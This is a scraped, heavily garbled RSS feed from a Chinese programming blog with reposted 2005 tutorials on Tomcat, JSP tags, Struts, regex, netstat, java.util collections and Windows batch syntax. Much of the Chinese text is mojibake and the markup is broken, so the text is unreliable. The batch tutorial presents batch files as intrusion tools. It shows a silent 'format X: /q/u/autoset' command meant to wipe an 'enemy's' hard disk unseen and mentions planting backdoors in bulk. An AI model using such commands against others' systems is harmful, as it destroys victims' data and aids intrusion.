</SPAN><NAME>factory</NAME><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 3">                     </SPAN><VALUE>org.apache.commons.dbcp.BasicDataSourceFactory</VALUE><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-tab-count: 2">              </SPAN></PARAMETER><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">     </SPAN><SPAN style="mso-tab-count: 1">     </SPAN></RESOURCEPARAMS><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"></CONTEXT>5.</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt">web-info\web.xml</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">下添加如下内容:</SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><RESOURCE-REF><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">    </SPAN><DESCRIPTION>SqlServer Datasource example</DESCRIPTION><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">    </SPAN><RES-REF-NAME>jdbc/Test</RES-REF-NAME><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">    </SPAN><RES-TYPE>javax.sql.DataSource</RES-TYPE><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><SPAN style="mso-spacerun: yes">    </SPAN><RES-AUTH>Container</RES-AUTH><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"></RESOURCE-REF><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt">好象q样差不多啦?/SPAN><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><o:p></o:p></SPAN></P><img src ="http://www.tkk7.com/hxcfindjob/aggbug/17802.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/hxcfindjob/" target="_blank">上v滩拾?/a> 2005-11-02 13:57 <a href="http://www.tkk7.com/hxcfindjob/articles/17802.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自定义标{ȝhttp://www.tkk7.com/hxcfindjob/articles/17799.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:56:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17799.htmlhttp://www.tkk7.com/hxcfindjob/comments/17799.htmlhttp://www.tkk7.com/hxcfindjob/articles/17799.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17799.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17799.html自定义标{ȝQ原创)

发布人:菜?BR>
自定义标{ֿ得:
       1昄面QjspQ:<%@ taglib uri="/helloworld" prefix="mytag" %>
       2web.xml:   
                    /helloworld
                    /WEB-INF/helloworld.tld
                   

       3helloword.tld文g

   "http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd">

   1.0

   1.2

   untitled1

  

       helloworld

       untitled1.HelloWorldTag

      

<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    empty

      

     

     


             4新徏java文g模型Q?BR>package untitled1;


    import java.io.IOException;

    import javax.servlet.jsp.*;
    import javax.servlet.jsp.tagext.TagSupport;
    import javax.servlet.jsp.PageContext;
    import javax.servlet.jsp.JspWriter;
    import javax.servlet.jsp.JspException;
    import javax.servlet.http.HttpSession;


    public class HelloWorldTag extends TagSupport {

      public HelloWorldTag() {

      }

      public int doStartTag() throws JspTagException{
      JspWriter out=pageContext.getOut();
        return EVAL_BODY_INCLUDE;

      }

      public int doEndTag() throws JspTagException{


        return EVAL_PAGE;

      }

    }


    自定义标{֏数ȝQ?/P>

    java文g加入Q?BR>  private String parm1=null;
         public void setParm1(String parm1)
         {
         this.parm1 = parm1;
     }
    tld文g加入Q?BR>  
          parm3
          false
          false
       



    ]]>
    关于标签在URI后面传参数的问题 http://www.tkk7.com/hxcfindjob/articles/17800.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:56:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17800.htmlhttp://www.tkk7.com/hxcfindjob/comments/17800.htmlhttp://www.tkk7.com/hxcfindjob/articles/17800.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17800.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17800.html关于标签在URI后面传参数的问题

    发布人:菜?BR>
    关于标签在URI后面传参数的问题
        用了一q多的struts了,对于一些常用的标签q是比较熟悉的。将在今后慢慢做一些ȝQ把自己的一些经验和大家分nQ也以此抛砖引玉Q希望能得到大家的高明见解。说的不对的地方请大家指正!
    在struts标签的page属性指定的URI后面传递参数可以有几种方式Q?/P>

    1.若明参数名和参数值则直接在URI后输出,
    如:add

    2.对于参数g定的,paramName和paramProperty来输出,用paramId属性指定参数名?BR>对于paramName指定的对象应该存在于page、request、session、application其中之一。一般来_是从ActioncMq来的,作ؓrequest的属性之一Qrequst.setAttribute("name",object)Q?BR>如果paramName指定的对象是action的ActionFormQ则无需使用request.setAttributeҎ?BR>例:uname
    若参数值是一个bean对象的属性|比如ActionForm,或者集合中存放的对象)则:
    uname

    3.若两个参敎ͼ一个确定一个不定Q则是以上两U方法的l合Q即Q?BR>modify

    4.对于多个参数的问题,可以使用一个HashMap集合对象来存放所有的参数名及对应的参数值的方式QparamName属性值指定ؓ该HashMap集合对象卛_?BR>举例Q?BR><%
    //代码理想的位|应该是在action?BR>//可以在jsp面试
      java.util.HashMap pms = new java.util.HashMap();
      pms.put("code", "001002");
      pms.put("name", "tester");
      pms.put("alias", new String[]{"matin","jack"});
      request.setAttribute("params", pms);
    %>
    test
    ~译后的l果Q?A HREF="/test.do?code=001002&name=tester&alias=matin&alias=jack">test
    q种方式虽然可以解决传多参数的问题,但是实现h也比较麻烦,特别是对记录集中的数据逐条列出的时?/P>

    5.针对有的|友?html:link>标签中嵌入用jsp脚本(scriptlet)的问题,
    例如:
    addQ这U写法是错误的,是无法编译的?BR>有的|友认ؓ在struts标签内是不允怋用jsp脚本的,q种说法也不准确。如果前面的写法Ҏ:
    addQ就可以被执行,但是要注意URL相对路径的问题?/P>

    虽然在struts标签中嵌入jsp脚本不是真正意义上的struts应用Q但是有时在委曲求全的情况下也只能如此了Q除非用自定义标签。比如在form表单中可能需要根据具体数据让某个字段是只ȝQ就可以用嵌入jsp脚本来实玎ͼ
    <%
    boolean rdonly=false;
    if(2==2) rdonly=true;
    %>

    Q题外话Q呵呵)

    6.另外一U比较变态的ҎQ既不是真正意义上的strutsQ也不符合xml规范。那是?A>标签中用标签输出参数倹{?BR>如:&name=">test
    Q偶l常q样用,哈哈Q简单!Q?/P>

    先说q么多吧Q有更好的方法再来补充!



    ]]>
    JSP中 ${} 的理?http://www.tkk7.com/hxcfindjob/articles/17801.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:56:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17801.htmlhttp://www.tkk7.com/hxcfindjob/comments/17801.htmlhttp://www.tkk7.com/hxcfindjob/articles/17801.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17801.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17801.htmlJSP中 ${} 的理?/FONT>

    发布人:时时

    表达式语a
    ?JSP 1.2 中,可以使用静态字W串或表辑ּQ如果允许的话)指定 JSP 操作的属性。例如,在清?2 中,?操作?name ?property 属性指定了静态|而用表达式指定了?value 属性。这个操作的效果是将h参数的当前D予命名的 bean Ҏ。以q种形式使用的表辑ּ被称求时属性|request-time attribute valueQ,q是构徏?JSP 规范中的用于动态指定属性值的唯一机制?

    清单 2. 合ƈh时属性值的 JSP 操作 
                     value='<%= request.getParameter("timezone") %>'/>
     


    因ؓh时属性值是用表辑ּ指定的,所以它们往往有和其它脚本元素一L软gl护问题。因此,JSTL 定制标记支持另一U用于指定动态属性值的机制。可以用化的表达式语aQELQ而不使用完整?JSP 表达式来指定 JSTL 操作的属性倹{EL 提供了一些标识符、存取器和运符Q用来检索和操作ȝ?JSP 容器中的数据。EL 在某U程度上?EcmaScriptQ请参阅参考资料)?XML 路径语言QXML Path LanguageQXPathQؓ基础Q因此页面设计h员和E序员都应该熟悉它的语法。EL 擅长L对象及其Ҏ,然后对它们执行简单操作;它不是编E语aQ甚至不是脚本编制语a。但是,?JSTL 标记一起用时Q它p使用单而又方便的符h表示复杂的行为。EL 表达式的格式是这LQ用元W号Q?Q定界,内容包括在花括号Q{}Q中Q如清单 3 所C?

    清单 3. 说明 EL 表达式定界符?JSTL 操作 



    ]]>
    正则表达式的基本用法http://www.tkk7.com/hxcfindjob/articles/17798.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:55:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17798.htmlhttp://www.tkk7.com/hxcfindjob/comments/17798.htmlhttp://www.tkk7.com/hxcfindjob/articles/17798.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17798.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17798.html正则表达式的基本用法 zt 作者:双面?BR>
    1、?”ؓ通配W,表示M一个字W,例如Q“a.c”可以匹配“anc”、“abc”、“acc”;
    2、“[]”,在[]内可以指定要求匹配的字符Q例如:“a[nbc]c”可以匹配“anc”、“abc”、“accQ?BR>但不可以匚w“ancc?a到z可以写成[a-z],0?可以写成[0-9];

    3、数量限定符P表示匚wơ数Q或者叫做长度)的符P

    包括Q?”—?ơ或者多?BR>      ?”—?ơ或者多?BR>      ?”—?ơ或??BR>      “{n}”——匹配nơ,n为整?BR>      “{n,m}”——匹配从n到m之间的某个数的次敎ͼn和m都是整数Q?BR>      “{n,}”——匹配n到无Ih之间Lơ数Q?BR>      “{,m}”——匹?到m之间Lơ数Q?BR>他们攑ֈ匚w格式的后面:
    例如Q?BR>电话LQ?24Q?4820482Q?2484820482(假设前面3或?位,后面7或?位,q且中间的减号可有可?

    都是W合规定的,那么可以用如下格式来匚wQ[0-9]{3,4} \-? [0-9]{7,8}Q?BR>注意Q“\”ؓ转义字符Q因为?”在正则表达式用有代表一个范围的意义Q例如:前面所说的[0-9]Q?BR>所以它需要{义字W“\”进行{义才可用;

    4、“^”ؓ否符P表示不想匚w的符P例如Q[^z][a-z]+可以匚w所有除“z”开头的以外的所有字

    W串Q长度大?Q因为?”表C大于等?的次敎ͼ从第二位开始都是小写英文字W)Q?BR>如果^攑ֈ[]的外边则表示以[]开头的字符Ԍ^[az][a-z]+表示a或者z开头的长度大于{于2的英文字W串Q?BR>
    5、“|”或q算W,例如Qa[n|bc|cb]c可以匚w“abcc?“anc?“acbc”;
    6、?”以它前面的字符l尾的;例如Qab+$可以被“abb”,“ab”匹配;

    7、一些简单表C方法:
    \d表示[0-9];\D表示[^0-9];\w表示[A-Z0-9];\W表示[^A-Z0-9];\s表示[\t\n\r\f],是I格字符包括tabQ空格等{?\S表示[^\t\n\r\f]Q就是非I格字符;


    ]]>
    netstat 的用?http://www.tkk7.com/hxcfindjob/articles/17795.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:54:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17795.htmlhttp://www.tkk7.com/hxcfindjob/comments/17795.htmlhttp://www.tkk7.com/hxcfindjob/articles/17795.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17795.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17795.htmlnetstat 的用?/FONT> q是一个用来查看网l状态的命oQ操作简便功能强大?BR>
    -a 查看本地机器的所有开攄口,可以有效发现和预防木马,可以知道机器所开的服务等信息Q如??BR>
    q里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务{。用法:netstat -a IP?BR>
    -r 列出当前的\׃息,告诉我们本地机器的网兟뀁子|掩码等信息。用法:netstat -r IP?/FONT>

    ]]>
    Meta标记的含?-如何理解关键字、标题、URL、站Ҏq?http://www.tkk7.com/hxcfindjob/articles/17796.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:54:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17796.htmlhttp://www.tkk7.com/hxcfindjob/comments/17796.htmlhttp://www.tkk7.com/hxcfindjob/articles/17796.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17796.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17796.htmlMeta标记的含?-如何理解关键字、标题、URL、站Ҏq?/FONT> 作?++


    Meta标记的含?-如何理解关键字、标题、URL、站Ҏq?BR>Meta标记臛_需要包含网站关键字 标题 URL 站点描述

    我们在向搜烦引擎d|站Ӟ需要填写关键字、标题、URL、站Ҏq几内容,不要看q四内容,它对|站的被收录成功率以及您d|站在搜索引擎中的排名位|、吸引客h览和是否方便查询您的|站Q都L关键性的作用Q所以要认真对待?BR>
        ?nbsp;关键字:搜烦引擎客户惌在网上查找某些内ҎQ所键入的相兛_键字。客h索这个关键字Ӟ您针对这个关键字所填写的信息就会出现在搜烦l果的前列。关键字不限语言U类Q可以是中文、英文、数字,也可以是不同文字的؜合Ş式?BR>包含在meta keyword 标记中的关键字应和相应页面的内容相匹配。网站首|最为重要的面?BR>??个主要的关键包含在该面的关键字标记中。一般可以书?5个关键字左右。有些搜索引??nbsp;Inktomi)关键字之间用逗号分开?nbsp;

    搜烦引擎Q如 Altavista, Direct Hit 支持关键字meta标记QInktomi甚至q把关键字和描述标记作ؓ排名的一个因素,当然是还要考虑其他更ؓ重要的优化标准?BR>对于搜烦引擎来说Qؓ讉K者提供的内容是提高网站排名最为重要的因素Q尽如此,增加必要的META标记当然不会影响您的排名Q因为它也是排名的一个因素,只要您的META标记和网站内Ҏ兌性?BR>
     ?nbsp;?nbsp;标题Q您的站点的标题Q将出现在作为检索结果的站点列表?BR>
     ?nbsp;?nbsp;URLQ您的网站(/或网)?nbsp;URL 地址Q客L接点L地址卛_来到您的|站Q?或网)Q将出现在作为检索结果的站点列表中。目前不接受动态URL?BR>
     ?nbsp;?nbsp;站点描述Q您的网站或|页的一些简短描qͼ主要说明|站的主题、性质、内容等{,出现在作ؓ索结果的站点列表中。内容必M您的|站或网内ҎW合?BR>|站描述标记(meta description tag)被绝大部分搜索引擎支持,它提供了|站的概要描q。因此,该标记无论对搜烦引擎q是对访问者来说都是重要的部分。一般来_描述标记长度应该?50个字W。再ơ重壎ͼ该标记对搜烦引擎臛_重要Q对讉K者至关重要,因ؓ搜烦引擎用来评判排名Q显C搜索结果,讉K者根据它来决定是否点击进入您的网站?/FONT>

    ]]>
    对java.util的ȝ http://www.tkk7.com/hxcfindjob/articles/17797.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:54:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17797.htmlhttp://www.tkk7.com/hxcfindjob/comments/17797.htmlhttp://www.tkk7.com/hxcfindjob/articles/17797.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17797.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17797.html对java.util的ȝ 作者:时时

    15.3.3 HashSetc?BR>HashSet扩展AbstractSetq且实现Set接口。它创徏一个类集,该类集用散列表q行?BR>储。正像大多数读者很可能知道的那P散列表通过使用UC为散列法的机制来存储信息?BR>在散列(hashingQ中Q一个关键字的信息内容被用来定唯一的一个|UCؓ散列码(hash
    codeQ。而散列码被用来当做与关键字相q的数据的存储下标。关键字到其散列码的转换
    是自动执行的??你看不到散列码本w。你的程序代码也不能直接索引散列表。散列法?BR>优点在于即对于大的集合Q它允许一些基本操作如add( )Qcontains( )Qremove( )和size( )
    Ҏ的运行时间保持不变?BR>下面的构造函数定义ؓQ?BR>HashSet( )
    HashSet(Collection c)
    HashSet(int capacity)
    HashSet(int capacity, float fillRatio)
    W一UŞ式构造一个默认的散列集合。第二种形式用c中的元素初始化散列集合。第?BR>UŞ式用capacity初始化散列集合的定w。第四种形式用它的参数初始化散列集合的容量和
    填充比(也称为加载容量)。填充比必须介于0.0?.0之间Q它军_在散列集合向上调整大
    之前,有多能被充满。具体的_是当元素的个数大于散列集合定w乘以它的填充
    比时Q散列集合被扩大。对于没有获得填充比的构造函敎ͼ默认使用0.75?BR>HashSet没有定义M过它的类和接口提供的其他Ҏ?BR>重要的是Q注意散列集合ƈ没有保其元素的序Q因为散列法的处理通常不让自己
    参与创徏排序集合。如果需要排序存储,另一U类??TreeSet是一个更好的选择?BR>q里是一个说明HashSet的例子?BR>// Demonstrate HashSet.
    import java.util.*;
    class HashSetDemo {
    public static void main(String args[]) {
    // create a hash set
    HashSet hs = new HashSet();
    // add elements to the hash set
    hs.add("B");
    hs.add("A");
    hs.add("D");
    hs.add("E");
    hs.add("C");
    hs.add("F");

    System.out.println(hs);
    }
    }
    下面是该E序的输出:
    [A, F, E, D, C, B]
    如上面解释的那样Q元素ƈ没有按顺序进行存储?BR>15.3.4 TreeSetc?BR>TreeSetZ用树来进行存储的Set接口提供了一个工P对象按升序存储。访问和?BR>是很快的。在存储了大量的需要进行快速检索的排序信息的情况下QTreeSet是一个很好的
    选择?BR>下面的构造函数定义ؓQ?BR>TreeSet( )
    TreeSet(Collection c)
    TreeSet(Comparator comp)
    TreeSet(SortedSet ss)
    W一UŞ式构造一个空的树集合Q该树集合将Ҏ其元素的自然序按升序排序。第
    二种形式构造一个包含了c的元素的树集合。第三种形式构造一个空的树集合Q它按照?BR>comp指定的比较函数进行排序(比较函数在本章后面介绍Q。第四种形式构造一个包?BR>了ss的元素的树集?BR>q里是一个说明TreeSet的例子?BR>// Demonstrate TreeSet.
    import java.util.*;
    class TreeSetDemo {
    public static void main(String args[]) {
    // Create a tree set
    TreeSet ts = new TreeSet();
    // Add elements to the tree set
    ts.add("C");
    ts.add("A");
    ts.add("B");
    ts.add("E");
    ts.add("F");
    ts.add("D");
    System.out.println(ts);
    }
    }
    q个E序的输出如下所C:
    [A, B, C, D, E, F]
    正如上面解释的那P因ؓTreeSet按树存储其元素,它们被按照排序次序自动安排,

    如程序输出所C?BR>15.4 通过q代函数讉Kc集
    通常希望循环通过c集中的元素。例如,可能会希望显C每一个元素。到目前为止Q?BR>处理q个问题的最单方法是使用iteratorQiterator是一个或者实现Iterator或者实?BR>ListIterator接口的对象。Iterator可以完成循环通过c集Q从而获得或删除元素。ListIterator
    扩展IteratorQ允许双向遍历列表,q可以修改单元。Iterator接口说明的方法ȝ在表15-4
    中。ListIterator接口说明的方法ȝ在表15-5中?BR>?5-4 由Iterator 定义的方?BR>Ҏ描述
    boolean hasNext( ) 如果存在更多的元素,则返回trueQ否则返回false
    Object next( ) q回下一个元素。如果没有下一个元素,则引发NoSuchElementException异常
    void remove( ) 删除当前元素Q如果试囑֜调用next( )Ҏ之后Q调用remove( )ҎQ则引发
    IllegalStateException异常
    ?5-5 由ListIterator 定义的方?BR>Ҏ描述
    void add(Object obj) obj插入列表中的一个元素之前,该元素在下一ơ调用next( )ҎӞ被返
    ?BR>boolean hasNext( ) 如果存在下一个元素,则返回trueQ否则返回false
    boolean hasPrevious( ) 如果存在前一个元素,则返回trueQ否则返回false
    Object next( ) q回下一个元素,如果不存在下一个元素,则引发一个NoSuchElement
    Exception异常
    int nextIndex( ) q回下一个元素的下标Q如果不存在下一个元素,则返回列表的大小
    Object previous( ) q回前一个元素,如果前一个元素不存在Q则引发一个NoSuchElement
    Exception异常
    int previousIndex( ) q回前一个元素的下标Q如果前一个元素不存在Q则q回-1
    void remove( ) 从列表中删除当前元素。如果remove( )Ҏ在next( )Ҏ或previous( )Ҏ?BR>用之前被调用Q则引发一个IllegalStateException异常
    void set(Object obj) obj赋给当前元素。这是上一ơ调用next( )Ҏ或previous( )Ҏ最后返回的
    元素
    15.4.1 使用q代函数
    在通过q代函数讉Kc集之前Q必dC个P代函数。每一个Collectionc都提供一
    个iterator( )函数Q该函数q回一个对c集头的q代函数。通过使用q个q代函数对象Q可
    以访问类集中的每一个元素,一ơ一个元素。通常Q用P代函数@环通过c集的内容,

    步骤如下Q?BR>1. 通过调用c集的iterator( )Ҏ获得对类集头的P代函数?BR>2. 建立一个调用hasNext( )Ҏ的@环,只要hasNext( )q回trueQ就q行循环q代?BR>3. 在@环内部,通过调用next( )Ҏ来得到每一个元素?BR>对于执行List的类集,也可以通过调用ListIterator来获得P代函数。正如上面解释的?BR>P列表q代函数提供了前向或后向讉Kc集的能力,q可让你修改元素。否则,ListIterator
    如同Iterator功能一栗?BR>q里是一个实现这些步骤的例子Q说明了Iterator和ListIterator。它使用ArrayList对象Q?BR>但是ȝ原则适用于Q何类型的c集。当ӞListIterator只适用于那些实现List接口的类集?BR>// Demonstrate iterators.
    import java.util.*;
    class IteratorDemo {
    public static void main(String args[]) {
    // create an array list
    ArrayList al = new ArrayList();
    // add elements to the array list
    al.add("C");
    al.add("A");
    al.add("E");
    al.add("B");
    al.add("D");
    al.add("F");
    // use iterator to display contents of al
    System.out.print("Original contents of al: ");
    Iterator itr = al.iterator();
    while(itr.hasNext()) {
    Object element = itr.next();
    System.out.print(element + " ");
    }
    System.out.println();
    // modify objects being iterated
    ListIterator litr = al.listIterator();
    while(litr.hasNext()) {
    Object element = litr.next();
    litr.set(element + "+");
    }
    System.out.print("Modified contents of al: ");
    itr = al.iterator();
    while(itr.hasNext()) {
    Object element = itr.next();
    System.out.print(element + " ");
    }
    System.out.println();
    314 W? 部分Java ?BR>// now, display the list backwards
    System.out.print("Modified list backwards: ");
    while(litr.hasPrevious()) {
    Object element = litr.previous();
    System.out.print(element + " ");
    }
    System.out.println();
    }
    }
    E序的输出如下所C:
    Original contents of al: C A E B D F
    Modified contents of al: C+ A+ E+ B+ D+ F+
    Modified list backwards: F+ D+ B+ E+ A+ C+
    特别值得注意的是Q列表是如何被反向显C的。在列表被修改之后,litr指向列表的末
    端(CQ当到达列表末端Ӟlitr.hasNext( )Ҏq回falseQ。ؓ了以反向遍历列表Q程?BR>l箋使用litrQ但q一ơ,E序它是否有前一个元素。只要它有前一个元素,该元素就
    被获得ƈ被显C出来?BR>


    ]]>
    HashSet 相关介绍 http://www.tkk7.com/hxcfindjob/articles/17794.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:53:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17794.htmlhttp://www.tkk7.com/hxcfindjob/comments/17794.htmlhttp://www.tkk7.com/hxcfindjob/articles/17794.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17794.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17794.htmlHashSet 相关介绍 HashSet實作Set介面QSet介面J承Collection介面QSet容器中的物g都是唯一的,加入 Set容器中的物g都必須重新定equals()ҎQ作為唯一性的識別QSet容器有自q一套排序規則?BR>
    HashSet的排序規則是利用Hash TableQ所以加入HashSet容器的物仉必須重新定義hashCode()ҎQ利用Hash的方式,可以讓您快速的扑ֈ容器中的物g?BR>
    事實上,在撰寫新的類別時Q最好總是重新定equals()與hashCode()ҎQ以W合Java的設a規,您可以參?nbsp;Object 別 中的介紹瞭解如何重新定義equals()與hashCode()?/FONT>

    ]]>
    Windowpȝ中批处理E序的语?http://www.tkk7.com/hxcfindjob/articles/17793.html上v滩拾?/dc:creator>上v滩拾?/author>Wed, 02 Nov 2005 05:52:00 GMThttp://www.tkk7.com/hxcfindjob/articles/17793.htmlhttp://www.tkk7.com/hxcfindjob/comments/17793.htmlhttp://www.tkk7.com/hxcfindjob/articles/17793.html#Feedback0http://www.tkk7.com/hxcfindjob/comments/commentRss/17793.htmlhttp://www.tkk7.com/hxcfindjob/services/trackbacks/17793.htmlWindowpȝ中批处理E序的语?/FONT>  批处理文件是无格式的文本文gQ它包含一条或多条命o。它的文件扩展名?.bat ?.cmd。在命o提示下键入批处理文g的名Uͼ或者双击该批处理文Ӟpȝ׃调用Cmd.exe按照该文件中各个命o出现的顺序来逐个q行它们。用批处理文gQ也被称为批处理E序或脚本)Q可以简化日常或重复性Q务。当然我们的q个版本的主要内Ҏ介绍批处理在入R中一些实际运用,例如我们后面要提到的用批处理文g来给pȝ打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧?

    一.单批处理内部命o?

      1.Echo 命o

      打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?

      语法
      echo [{on off}] [message]
      SampleQ@echo off / echo hello world

      在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?

      2.@ 命o

      表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?

      SampleQ@echo off
      @echo Now initializing the program,please wait a minite...
      @format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?

      3.Goto 命o

      指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?

      语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
      SampleQ?
      if {%1}=={} goto noparms
      if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面会有详细的解释。)

      @Rem check parameters if null show usage
      :noparms
      echo Usage: monitor.bat ServerIP PortNumber
      goto end

      标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{,goto命o是Ҏq个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?

      4.Rem 命o

      注释命oQ在C语言中相当与/*--------*/,它ƈ不会被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?

        Rem Message
      SampleQ@Rem Here is the description.

      5.Pause 命o

      q行 Pause 命oӞ显CZ面的消息Q?

      Press any key to continue . . .

      SampleQ?

      @echo off
      :begin
      copy a:*.* dQ\back
      echo Please put a new disk into driver A
      pause
      goto begin

      在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示您将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便您更换盘Q然后按L键l处理?/P>

      6.Call 命o

      从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它不会在命o行v作用?

      语法

      call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

      参数

      [Drive:}[Path] FileName

      指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?

      7.start 命o

      调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?

      入R常用参数Q?
        MIN 开始时H口最化
      SEPARATE 在分开的空间内开?16 ?Windows E序
      HIGH ?HIGH 优先U类别开始应用程?
      REALTIME ?REALTIME 优先U类别开始应用程?
      WAIT 启动应用E序q等候它l束

      parameters q些Z送到命o/E序的参?

      执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?

      8.choice 命o

      choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234…?

      ? choice /c:dme defrag,mem,end

      显C?

      defrag,mem,end[D,M,E]?

      SampleQ?

      Sample.bat的内容如?

      @echo off
        choice /c:dme defrag,mem,end
      if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
      if errorlevel 2 goto mem
      if errotlevel 1 goto end
      :defrag
      c:\dos\defrag
      goto end
      :mem
      mem
      goto end
      :end
      echo good bye

      此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?

      9.If 命o

      if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?

      1、if "参数" == "字符?  待执行的命o

      参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P

      如if "%1"=="a" format a:

      if {%1}=={} goto noparms

      if {%2}=={} goto noparms

      2、if exist 文g名  待执行的命o

